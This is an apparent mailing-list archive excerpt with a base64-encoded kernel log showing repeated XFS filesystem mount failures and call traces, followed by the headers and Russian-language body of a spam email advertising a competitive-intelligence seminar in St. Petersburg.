eGZzX2Vycm9yX3JlcG9ydCsweDNmLzB4NTAgW3hmc10KRGVjICA0IDE4OjI1OjExIGZydXN0ZXIg a2VybmVsOiBbPGZmZmZmZmZmYTA0MzJiYTE+XSA/IHhmc19mcmVlX2V4dGVudCsweDEwMS8weDEz MCBbeGZzXQpEZWMgIDQgMTg6MjU6MTEgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQzMGMy Yj5dID8geGZzX2ZyZWVfYWdfZXh0ZW50KzB4NThiLzB4NzUwIFt4ZnNdCkRlYyAgNCAxODoyNTox MSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDMyYmExPl0gPyB4ZnNfZnJlZV9leHRlbnQr MHgxMDEvMHgxMzAgW3hmc10KRGVjICA0IDE4OjI1OjExIGZydXN0ZXIga2VybmVsOiBbPGZmZmZm ZmZmYTA0NmRlMmQ+XSA/IHhsb2dfcmVjb3Zlcl9wcm9jZXNzX2VmaSsweDFiZC8weDIwMCBbeGZz XQpEZWMgIDQgMTg6MjU6MTEgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ3OTZlYT5dID8g eGZzX3RyYW5zX2FpbF9jdXJzb3Jfc2V0KzB4MWEvMHgzMCBbeGZzXQpEZWMgIDQgMTg6MjU6MTEg ZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ2ZGVkMj5dID8geGxvZ19yZWNvdmVyX3Byb2Nl c3NfZWZpcysweDYyLzB4YzAgW3hmc10KRGVjICA0IDE4OjI1OjExIGZydXN0ZXIga2VybmVsOiBb PGZmZmZmZmZmYTA0NzFmMzQ+XSA/IHhsb2dfcmVjb3Zlcl9maW5pc2grMHgyNC8weGQwIFt4ZnNd CkRlYyAgNCAxODoyNToxMSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDZhM2FjPl0gPyB4 ZnNfbG9nX21vdW50X2ZpbmlzaCsweDJjLzB4MzAgW3hmc10KRGVjICA0IDE4OjI1OjExIGZydXN0 ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0NzVhNjE+XSA/IHhmc19tb3VudGZzKzB4NDIxLzB4NmEw IFt4ZnNdCkRlYyAgNCAxODoyNToxMSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDhkNmY0 Pl0gPyB4ZnNfZnNfZmlsbF9zdXBlcisweDIyNC8weDJlMCBbeGZzXQpEZWMgIDQgMTg6MjU6MTEg ZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTE4NDdjZT5dID8gZ2V0X3NiX2JkZXYrMHgxOGUv MHgxZDAKRGVjICA0IDE4OjI1OjExIGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0OGQ0ZDA+ XSA/IHhmc19mc19maWxsX3N1cGVyKzB4MC8weDJlMCBbeGZzXQpEZWMgIDQgMTg6MjU6MTEgZnJ1 c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ4YjViOD5dID8geGZzX2ZzX2dldF9zYisweDE4LzB4 MjAgW3hmc10KRGVjICA0IDE4OjI1OjExIGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExODNj MWI+XSA/IHZmc19rZXJuX21vdW50KzB4N2IvMHgxYjAKRGVjICA0IDE4OjI1OjExIGZydXN0ZXIg a2VybmVsOiBbPGZmZmZmZmZmODExODNkYzI+XSA/IGRvX2tlcm5fbW91bnQrMHg1Mi8weDEzMApE ZWMgIDQgMTg6MjU6MTEgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTFhM2YyMj5dID8gZG9f bW91bnQrMHgyZDIvMHg4ZDAKRGVjICA0IDE4OjI1OjExIGZydXN0ZXIga2VybmVsOiBbPGZmZmZm ZmZmODExYTQ1YjA+XSA/IHN5c19tb3VudCsweDkwLzB4ZTAKRGVjICA0IDE4OjI1OjExIGZydXN0 ZXIga2VybmVsOiBbPGZmZmZmZmZmODEwMGIwNzI+XSA/IHN5c3RlbV9jYWxsX2Zhc3RwYXRoKzB4 MTYvMHgxYgpEZWMgIDQgMTg6MjU6MTEgZnJ1c3RlciBrZXJuZWw6IFhGUyAoc2RhMSk6IEZhaWxl ZCB0byByZWNvdmVyIEVGSXMKRGVjICA0IDE4OjI1OjExIGZydXN0ZXIga2VybmVsOiBYRlMgKHNk YTEpOiBsb2cgbW91bnQgZmluaXNoIGZhaWxlZApEZWMgIDQgMTg6MjU6NDEgZnJ1c3RlciBrZXJu ZWw6IFhGUyAoc2RhMSk6IE1vdW50aW5nIEZpbGVzeXN0ZW0KRGVjICA0IDE4OjI1OjQyIGZydXN0 ZXIga2VybmVsOiBYRlMgKHNkYTEpOiBTdGFydGluZyByZWNvdmVyeSAobG9nZGV2OiBpbnRlcm5h bCkKRGVjICA0IDE4OjI1OjQ1IGZydXN0ZXIga2VybmVsOiBYRlM6IEludGVybmFsIGVycm9yIFhG U19XQU5UX0NPUlJVUFRFRF9HT1RPIGF0IGxpbmUgMTUxMCBvZiBmaWxlIGZzL3hmcy94ZnNfYWxs b2MuYy4gIENhbGxlciAweGZmZmZmZmZmYTA0MzJiYTEKRGVjICA0IDE4OjI1OjQ1IGZydXN0ZXIg a2VybmVsOiAKRGVjICA0IDE4OjI1OjQ1IGZydXN0ZXIga2VybmVsOiBQaWQ6IDU0MzUsIGNvbW06 IG1vdW50IE5vdCB0YWludGVkIDIuNi4zMi0zNTguMjMuMi5lbDYueDg2XzY0ICMxCkRlYyAgNCAx ODoyNTo0NSBmcnVzdGVyIGtlcm5lbDogQ2FsbCBUcmFjZToKRGVjICA0IDE4OjI1OjQ1IGZydXN0 ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0NWIwZWY+XSA/IHhmc19lcnJvcl9yZXBvcnQrMHgzZi8w eDUwIFt4ZnNdCkRlYyAgNCAxODoyNTo0NSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDMy YmExPl0gPyB4ZnNfZnJlZV9leHRlbnQrMHgxMDEvMHgxMzAgW3hmc10KRGVjICA0IDE4OjI1OjQ1 IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0MzBjMmI+XSA/IHhmc19mcmVlX2FnX2V4dGVu dCsweDU4Yi8weDc1MCBbeGZzXQpEZWMgIDQgMTg6MjU6NDUgZnJ1c3RlciBrZXJuZWw6IFs8ZmZm ZmZmZmZhMDQzMmJhMT5dID8geGZzX2ZyZWVfZXh0ZW50KzB4MTAxLzB4MTMwIFt4ZnNdCkRlYyAg NCAxODoyNTo0NSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDZkZTJkPl0gPyB4bG9nX3Jl Y292ZXJfcHJvY2Vzc19lZmkrMHgxYmQvMHgyMDAgW3hmc10KRGVjICA0IDE4OjI1OjQ1IGZydXN0 ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0Nzk2ZWE+XSA/IHhmc190cmFuc19haWxfY3Vyc29yX3Nl dCsweDFhLzB4MzAgW3hmc10KRGVjICA0IDE4OjI1OjQ1IGZydXN0ZXIga2VybmVsOiBbPGZmZmZm ZmZmYTA0NmRlZDI+XSA/IHhsb2dfcmVjb3Zlcl9wcm9jZXNzX2VmaXMrMHg2Mi8weGMwIFt4ZnNd CkRlYyAgNCAxODoyNTo0NSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDcxZjM0Pl0gPyB4 bG9nX3JlY292ZXJfZmluaXNoKzB4MjQvMHhkMCBbeGZzXQpEZWMgIDQgMTg6MjU6NDUgZnJ1c3Rl ciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ2YTNhYz5dID8geGZzX2xvZ19tb3VudF9maW5pc2grMHgy Yy8weDMwIFt4ZnNdCkRlYyAgNCAxODoyNTo0NSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEw NDc1YTYxPl0gPyB4ZnNfbW91bnRmcysweDQyMS8weDZhMCBbeGZzXQpEZWMgIDQgMTg6MjU6NDUg ZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ4ZDZmND5dID8geGZzX2ZzX2ZpbGxfc3VwZXIr MHgyMjQvMHgyZTAgW3hmc10KRGVjICA0IDE4OjI1OjQ1IGZydXN0ZXIga2VybmVsOiBbPGZmZmZm ZmZmODExODQ3Y2U+XSA/IGdldF9zYl9iZGV2KzB4MThlLzB4MWQwCkRlYyAgNCAxODoyNTo0NSBm cnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDhkNGQwPl0gPyB4ZnNfZnNfZmlsbF9zdXBlcisw eDAvMHgyZTAgW3hmc10KRGVjICA0IDE4OjI1OjQ1IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZm YTA0OGI1Yjg+XSA/IHhmc19mc19nZXRfc2IrMHgxOC8weDIwIFt4ZnNdCkRlYyAgNCAxODoyNTo0 NSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgxMTgzYzFiPl0gPyB2ZnNfa2Vybl9tb3VudCsw eDdiLzB4MWIwCkRlYyAgNCAxODoyNTo0NSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgxMTgz ZGMyPl0gPyBkb19rZXJuX21vdW50KzB4NTIvMHgxMzAKRGVjICA0IDE4OjI1OjQ1IGZydXN0ZXIg a2VybmVsOiBbPGZmZmZmZmZmODExYTNmMjI+XSA/IGRvX21vdW50KzB4MmQyLzB4OGQwCkRlYyAg NCAxODoyNTo0NSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgxMWE0NWIwPl0gPyBzeXNfbW91 bnQrMHg5MC8weGUwCkRlYyAgNCAxODoyNTo0NSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgx MDBiMDcyPl0gPyBzeXN0ZW1fY2FsbF9mYXN0cGF0aCsweDE2LzB4MWIKRGVjICA0IDE4OjI1OjQ1 IGZydXN0ZXIga2VybmVsOiBYRlMgKHNkYTEpOiBGYWlsZWQgdG8gcmVjb3ZlciBFRklzCkRlYyAg NCAxODoyNTo0NSBmcnVzdGVyIGtlcm5lbDogWEZTIChzZGExKTogbG9nIG1vdW50IGZpbmlzaCBm YWlsZWQKRGVjICA0IDE4OjI2OjIxIGZydXN0ZXIga2VybmVsOiBYRlMgKHNkYTEpOiBNb3VudGlu ZyBGaWxlc3lzdGVtCkRlYyAgNCAxODoyNjoyMSBmcnVzdGVyIGtlcm5lbDogWEZTIChzZGExKTog U3RhcnRpbmcgcmVjb3ZlcnkgKGxvZ2RldjogaW50ZXJuYWwpCkRlYyAgNCAxODoyNjoyNSBmcnVz dGVyIGtlcm5lbDogWEZTOiBJbnRlcm5hbCBlcnJvciBYRlNfV0FOVF9DT1JSVVBURURfR09UTyBh dCBsaW5lIDE1MTAgb2YgZmlsZSBmcy94ZnMveGZzX2FsbG9jLmMuICBDYWxsZXIgMHhmZmZmZmZm ZmEwNDMyYmExCkRlYyAgNCAxODoyNjoyNSBmcnVzdGVyIGtlcm5lbDogCkRlYyAgNCAxODoyNjoy NSBmcnVzdGVyIGtlcm5lbDogUGlkOiA1NDU5LCBjb21tOiBtb3VudCBOb3QgdGFpbnRlZCAyLjYu MzItMzU4LjIzLjIuZWw2Lng4Nl82NCAjMQpEZWMgIDQgMTg6MjY6MjUgZnJ1c3RlciBrZXJuZWw6 IENhbGwgVHJhY2U6CkRlYyAgNCAxODoyNjoyNSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEw NDViMGVmPl0gPyB4ZnNfZXJyb3JfcmVwb3J0KzB4M2YvMHg1MCBbeGZzXQpEZWMgIDQgMTg6MjY6 MjUgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQzMmJhMT5dID8geGZzX2ZyZWVfZXh0ZW50 KzB4MTAxLzB4MTMwIFt4ZnNdCkRlYyAgNCAxODoyNjoyNSBmcnVzdGVyIGtlcm5lbDogWzxmZmZm ZmZmZmEwNDMwYzJiPl0gPyB4ZnNfZnJlZV9hZ19leHRlbnQrMHg1OGIvMHg3NTAgW3hmc10KRGVj ICA0IDE4OjI2OjI1IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0MzJiYTE+XSA/IHhmc19m cmVlX2V4dGVudCsweDEwMS8weDEzMCBbeGZzXQpEZWMgIDQgMTg6MjY6MjUgZnJ1c3RlciBrZXJu ZWw6IFs8ZmZmZmZmZmZhMDQ2ZGUyZD5dID8geGxvZ19yZWNvdmVyX3Byb2Nlc3NfZWZpKzB4MWJk LzB4MjAwIFt4ZnNdCkRlYyAgNCAxODoyNjoyNSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEw NDc5NmVhPl0gPyB4ZnNfdHJhbnNfYWlsX2N1cnNvcl9zZXQrMHgxYS8weDMwIFt4ZnNdCkRlYyAg NCAxODoyNjoyNSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDZkZWQyPl0gPyB4bG9nX3Jl Y292ZXJfcHJvY2Vzc19lZmlzKzB4NjIvMHhjMCBbeGZzXQpEZWMgIDQgMTg6MjY6MjUgZnJ1c3Rl ciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ3MWYzND5dID8geGxvZ19yZWNvdmVyX2ZpbmlzaCsweDI0 LzB4ZDAgW3hmc10KRGVjICA0IDE4OjI2OjI1IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0 NmEzYWM+XSA/IHhmc19sb2dfbW91bnRfZmluaXNoKzB4MmMvMHgzMCBbeGZzXQpEZWMgIDQgMTg6 MjY6MjUgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ3NWE2MT5dID8geGZzX21vdW50ZnMr MHg0MjEvMHg2YTAgW3hmc10KRGVjICA0IDE4OjI2OjI1IGZydXN0ZXIga2VybmVsOiBbPGZmZmZm ZmZmYTA0OGQ2ZjQ+XSA/IHhmc19mc19maWxsX3N1cGVyKzB4MjI0LzB4MmUwIFt4ZnNdCkRlYyAg NCAxODoyNjoyNSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgxMTg0N2NlPl0gPyBnZXRfc2Jf YmRldisweDE4ZS8weDFkMApEZWMgIDQgMTg6MjY6MjUgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZm ZmZhMDQ4ZDRkMD5dID8geGZzX2ZzX2ZpbGxfc3VwZXIrMHgwLzB4MmUwIFt4ZnNdCkRlYyAgNCAx ODoyNjoyNSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDhiNWI4Pl0gPyB4ZnNfZnNfZ2V0 X3NiKzB4MTgvMHgyMCBbeGZzXQpEZWMgIDQgMTg6MjY6MjUgZnJ1c3RlciBrZXJuZWw6IFs8ZmZm ZmZmZmY4MTE4M2MxYj5dID8gdmZzX2tlcm5fbW91bnQrMHg3Yi8weDFiMApEZWMgIDQgMTg6MjY6 MjUgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTE4M2RjMj5dID8gZG9fa2Vybl9tb3VudCsw eDUyLzB4MTMwCkRlYyAgNCAxODoyNjoyNSBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZjgxMWEz ZjIyPl0gPyBkb19tb3VudCsweDJkMi8weDhkMApEZWMgIDQgMTg6MjY6MjUgZnJ1c3RlciBrZXJu ZWw6IFs8ZmZmZmZmZmY4MTFhNDViMD5dID8gc3lzX21vdW50KzB4OTAvMHhlMApEZWMgIDQgMTg6 MjY6MjUgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTAwYjA3Mj5dID8gc3lzdGVtX2NhbGxf ZmFzdHBhdGgrMHgxNi8weDFiCkRlYyAgNCAxODoyNjoyNSBmcnVzdGVyIGtlcm5lbDogWEZTIChz ZGExKTogRmFpbGVkIHRvIHJlY292ZXIgRUZJcwpEZWMgIDQgMTg6MjY6MjUgZnJ1c3RlciBrZXJu ZWw6IFhGUyAoc2RhMSk6IGxvZyBtb3VudCBmaW5pc2ggZmFpbGVkCkRlYyAgNCAxODoyNjozMyBm cnVzdGVyIGtlcm5lbDogWEZTIChzZGExKTogTW91bnRpbmcgRmlsZXN5c3RlbQpEZWMgIDQgMTg6 MjY6MzMgZnJ1c3RlciBrZXJuZWw6IFhGUyAoc2RhMSk6IFN0YXJ0aW5nIHJlY292ZXJ5IChsb2dk ZXY6IGludGVybmFsKQpEZWMgIDQgMTg6MjY6MzYgZnJ1c3RlciBrZXJuZWw6IFhGUzogSW50ZXJu YWwgZXJyb3IgWEZTX1dBTlRfQ09SUlVQVEVEX0dPVE8gYXQgbGluZSAxNTEwIG9mIGZpbGUgZnMv eGZzL3hmc19hbGxvYy5jLiAgQ2FsbGVyIDB4ZmZmZmZmZmZhMDQzMmJhMQpEZWMgIDQgMTg6MjY6 MzYgZnJ1c3RlciBrZXJuZWw6IApEZWMgIDQgMTg6MjY6MzYgZnJ1c3RlciBrZXJuZWw6IFBpZDog NTQ5MSwgY29tbTogbW91bnQgTm90IHRhaW50ZWQgMi42LjMyLTM1OC4yMy4yLmVsNi54ODZfNjQg IzEKRGVjICA0IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBDYWxsIFRyYWNlOgpEZWMgIDQgMTg6 MjY6MzYgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ1YjBlZj5dID8geGZzX2Vycm9yX3Jl cG9ydCsweDNmLzB4NTAgW3hmc10KRGVjICA0IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBbPGZm ZmZmZmZmYTA0MzJiYTE+XSA/IHhmc19mcmVlX2V4dGVudCsweDEwMS8weDEzMCBbeGZzXQpEZWMg IDQgMTg6MjY6MzYgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQzMGMyYj5dID8geGZzX2Zy ZWVfYWdfZXh0ZW50KzB4NThiLzB4NzUwIFt4ZnNdCkRlYyAgNCAxODoyNjozNiBmcnVzdGVyIGtl cm5lbDogWzxmZmZmZmZmZmEwNDMyYmExPl0gPyB4ZnNfZnJlZV9leHRlbnQrMHgxMDEvMHgxMzAg W3hmc10KRGVjICA0IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0NmRlMmQ+ XSA/IHhsb2dfcmVjb3Zlcl9wcm9jZXNzX2VmaSsweDFiZC8weDIwMCBbeGZzXQpEZWMgIDQgMTg6 MjY6MzYgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmZhMDQ3OTZlYT5dID8geGZzX3RyYW5zX2Fp bF9jdXJzb3Jfc2V0KzB4MWEvMHgzMCBbeGZzXQpEZWMgIDQgMTg6MjY6MzYgZnJ1c3RlciBrZXJu ZWw6IFs8ZmZmZmZmZmZhMDQ2ZGVkMj5dID8geGxvZ19yZWNvdmVyX3Byb2Nlc3NfZWZpcysweDYy LzB4YzAgW3hmc10KRGVjICA0IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0 NzFmMzQ+XSA/IHhsb2dfcmVjb3Zlcl9maW5pc2grMHgyNC8weGQwIFt4ZnNdCkRlYyAgNCAxODoy NjozNiBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDZhM2FjPl0gPyB4ZnNfbG9nX21vdW50 X2ZpbmlzaCsweDJjLzB4MzAgW3hmc10KRGVjICA0IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBb PGZmZmZmZmZmYTA0NzVhNjE+XSA/IHhmc19tb3VudGZzKzB4NDIxLzB4NmEwIFt4ZnNdCkRlYyAg NCAxODoyNjozNiBmcnVzdGVyIGtlcm5lbDogWzxmZmZmZmZmZmEwNDhkNmY0Pl0gPyB4ZnNfZnNf ZmlsbF9zdXBlcisweDIyNC8weDJlMCBbeGZzXQpEZWMgIDQgMTg6MjY6MzYgZnJ1c3RlciBrZXJu ZWw6IFs8ZmZmZmZmZmY4MTE4NDdjZT5dID8gZ2V0X3NiX2JkZXYrMHgxOGUvMHgxZDAKRGVjICA0 IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmYTA0OGQ0ZDA+XSA/IHhmc19mc19m aWxsX3N1cGVyKzB4MC8weDJlMCBbeGZzXQpEZWMgIDQgMTg6MjY6MzYgZnJ1c3RlciBrZXJuZWw6 IFs8ZmZmZmZmZmZhMDQ4YjViOD5dID8geGZzX2ZzX2dldF9zYisweDE4LzB4MjAgW3hmc10KRGVj ICA0IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExODNjMWI+XSA/IHZmc19r ZXJuX21vdW50KzB4N2IvMHgxYjAKRGVjICA0IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBbPGZm ZmZmZmZmODExODNkYzI+XSA/IGRvX2tlcm5fbW91bnQrMHg1Mi8weDEzMApEZWMgIDQgMTg6MjY6 MzYgZnJ1c3RlciBrZXJuZWw6IFs8ZmZmZmZmZmY4MTFhM2YyMj5dID8gZG9fbW91bnQrMHgyZDIv MHg4ZDAKRGVjICA0IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBbPGZmZmZmZmZmODExYTQ1YjA+ XSA/IHN5c19tb3VudCsweDkwLzB4ZTAKRGVjICA0IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBb PGZmZmZmZmZmODEwMGIwNzI+XSA/IHN5c3RlbV9jYWxsX2Zhc3RwYXRoKzB4MTYvMHgxYgpEZWMg IDQgMTg6MjY6MzYgZnJ1c3RlciBrZXJuZWw6IFhGUyAoc2RhMSk6IEZhaWxlZCB0byByZWNvdmVy IEVGSXMKRGVjICA0IDE4OjI2OjM2IGZydXN0ZXIga2VybmVsOiBYRlMgKHNkYTEpOiBsb2cgbW91 bnQgZmluaXNoIGZhaWxlZApEZWMgIDQgMTg6MzA6MTkgZnJ1c3RlciBrZXJuZWw6IEVYVDQtZnMg KGRtLTIpOiBtb3VudGVkIGZpbGVzeXN0ZW0gd2l0aCBvcmRlcmVkIGRhdGEgbW9kZS4gT3B0czog CkRlYyAgNCAxODozMTozMCBmcnVzdGVyIGRoY3BkOiBESENQUkVRVUVTVCBmb3IgMTkyLjE2OC4w LjI3IGZyb20gMDA6MWI6Nzg6MzA6Yzk6NWUgdmlhIGV0aDEKRGVjICA0IDE4OjMxOjMwIGZydXN0 ZXIgZGhjcGQ6IERIQ1BBQ0sgb24gMTkyLjE2OC4wLjI3IHRvIDAwOjFiOjc4OjMwOmM5OjVlIHZp YSBldGgxCkRlYyAgNCAxODo0MTowNSBmcnVzdGVyIGRoY3BkOiBESENQUkVRVUVTVCBmb3IgMTky LjE2OC4wLjM1IGZyb20gMDA6MWM6YzQ6YzI6MjQ6YjQgdmlhIGV0aDEKRGVjICA0IDE4OjQxOjA1 IGZydXN0ZXIgZGhjcGQ6IERIQ1BBQ0sgb24gMTkyLjE2OC4wLjM1IHRvIDAwOjFjOmM0OmMyOjI0 OmI0IHZpYSBldGgxCkRlYyAgNCAxODo0MjoyNCBmcnVzdGVyIGtlcm5lbDogWEZTIChzZGExKTog TW91bnRpbmcgRmlsZXN5c3RlbQpEZWMgIDQgMTg6NDI6MjQgZnJ1c3RlciBrZXJuZWw6IFhGUyAo c2RhMSk6IEVuZGluZyBjbGVhbiBtb3VudApEZWMgIDQgMTg6NDY6NDEgZnJ1c3RlciBkaGNwZDog REhDUFJFUVVFU1QgZm9yIDE5Mi4xNjguMC4zMSBmcm9tIDAwOjFiOjc4OjMxOjc5OjdhIHZpYSBl dGgxCkRlYyAgNCAxODo0Njo0MSBmcnVzdGVyIGRoY3BkOiBESENQQUNLIG9uIDE5Mi4xNjguMC4z MSB0byAwMDoxYjo3ODozMTo3OTo3YSB2aWEgZXRoMQpEZWMgIDQgMTg6NDg6NTQgZnJ1c3RlciBk aGNwZDogREhDUFJFUVVFU1QgZm9yIDE5Mi4xNjguMC4zNiBmcm9tIDAwOjFiOjc4OmUxOjJjOjE4 IHZpYSBldGgxCkRlYyAgNCAxODo0ODo1NCBmcnVzdGVyIGRoY3BkOiBESENQQUNLIG9uIDE5Mi4x NjguMC4zNiB0byAwMDoxYjo3ODplMToyYzoxOCB2aWEgZXRoMSAK --047d7bb0437492b58704ecc0aa0d-- From info@sutki77.ru Wed Dec 4 21:33:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A5A967F3F for ; Wed, 4 Dec 2013 21:33:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 02E44AC005 for ; Wed, 4 Dec 2013 19:33:04 -0800 (PST) X-ASG-Debug-ID: 1386214381-04cbb04169526d60001-NocioJ Received: from server22.hosting.reg.ru (server22.hosting.reg.ru [92.38.226.14]) by cuda.sgi.com with ESMTP id NZXTHsCh91IL0uL2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 04 Dec 2013 19:33:02 -0800 (PST) X-Barracuda-Envelope-From: info@sutki77.ru X-Barracuda-Apparent-Source-IP: 92.38.226.14 Received: from [186.13.5.224] (helo=Unknown) by server22.hosting.reg.ru with esmtpa (Exim 4.69) (envelope-from ) id 1VoPgP-00040k-Ne; Thu, 05 Dec 2013 07:33:00 +0400 Message-ID: Reply-To: =?windows-1251?B?yO3m5e3l8C3g7eDr6PLo6iDv7iDx6PHy5ezl?= =?windows-1251?B?IPPv8ODi6+Xt6P8g6O307vDs4Pbo7u3t7ukg?= =?windows-1251?B?4eXn7u/g8e3u8fLo?= From: =?windows-1251?B?yO3m5e3l8C3g7eDr6PLo6iDv7iDx6PHy5ezl?= =?windows-1251?B?IPPv8ODi6+Xt6P8g6O307vDs4Pbo7u3t7ukg?= =?windows-1251?B?4eXn7u/g8e3u8fLo?= To: , , , Subject: =?windows-1251?B?wejn7eXxIPDg5+Ll5Org?= Date: Thu, 5 Dec 2013 04:33:16 +0100 X-ASG-Orig-Subj: =?windows-1251?B?wejn7eXxIPDg5+Ll5Org?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0AB5_01CEF173.1DE0AE00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 Sender: info@sutki77.ru X-Barracuda-Connect: server22.hosting.reg.ru[92.38.226.14] X-Barracuda-Start-Time: 1386214382 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142850 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0AB5_01CEF173.1DE0AE00 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0AB6_01CEF173.1DE0AE00" ------=_NextPart_001_0AB6_01CEF173.1DE0AE00 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D1=EF=E5=F6=E8=E0=EB=FC=ED=EE =E4=EB=FF =F0=F3=EA=EE=E2=EE=E4=E8=F2=E5= =EB=E5=E9 =EF=F0=E5=E4=EF=F0=E8=FF=F2=E8=E9 =E8 =F1=EE=F2=F0=F3=E4=ED=E8=EA= =EE=E2 =F1=EB=F3=E6=E1 =E1=E5=E7=EE=EF=E0=F1=ED=EE=F1=F2=E8: =C4=E5=EB=EE=E2=E0=FF =E8 =EA=EE=ED=EA=F3=F0=E5=ED=F2=ED=E0=FF =F0=E0=E7= =E2=E5=E4=EA=E0.=20 =D1=EE=E2=F0=E5=EC=E5=ED=ED=FB=E5 =F2=E5=F5=ED=EE=EB=EE=E3=E8=E8 =E8 =EF= =EE=E4=F5=EE=E4=FB. =CF=C5=D2=C5=D0=C1=D3=D0=C3, 9, I=CE =C4=C5=CA=C0=C1=D0=DF =C7a=ED=FF=F2=E8=FF =EF=F0o=E9=E4y=F2 =E2 =F2=E5=F7=E5=ED=E8=E5 =E4=E2y= x =E4=EDe=E9 c l=CE:=EE=CE =E4o 17:=CE=EE c =EFe=F0e=F0=FB=E2a=EC=E8 =EDa= =EAo=F4e-=E1=F0e=E9=EA =E8 o=E1e=E4. =C4=EB=FF =EFo=EBy=F7e=ED=E8=FF =EFo=EB=EDo=E9 =EF=F0o=E3=F0a=EC=EC=FB = =E8 yc=EBo=E2=E8=E9 y=F7ac=F2=E8=FF c=E2=FF=E6=E8=F2ec=FC c =EDa=EC=E8 =EF= o =F2e=EBe=F4o=EDy: =20 [ =EA=EE=E4_=D1=CF=E1 ] 98-6 -- 94 -- 1l =D2=E5=EC=E0=F2=E8=EA=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=FF: 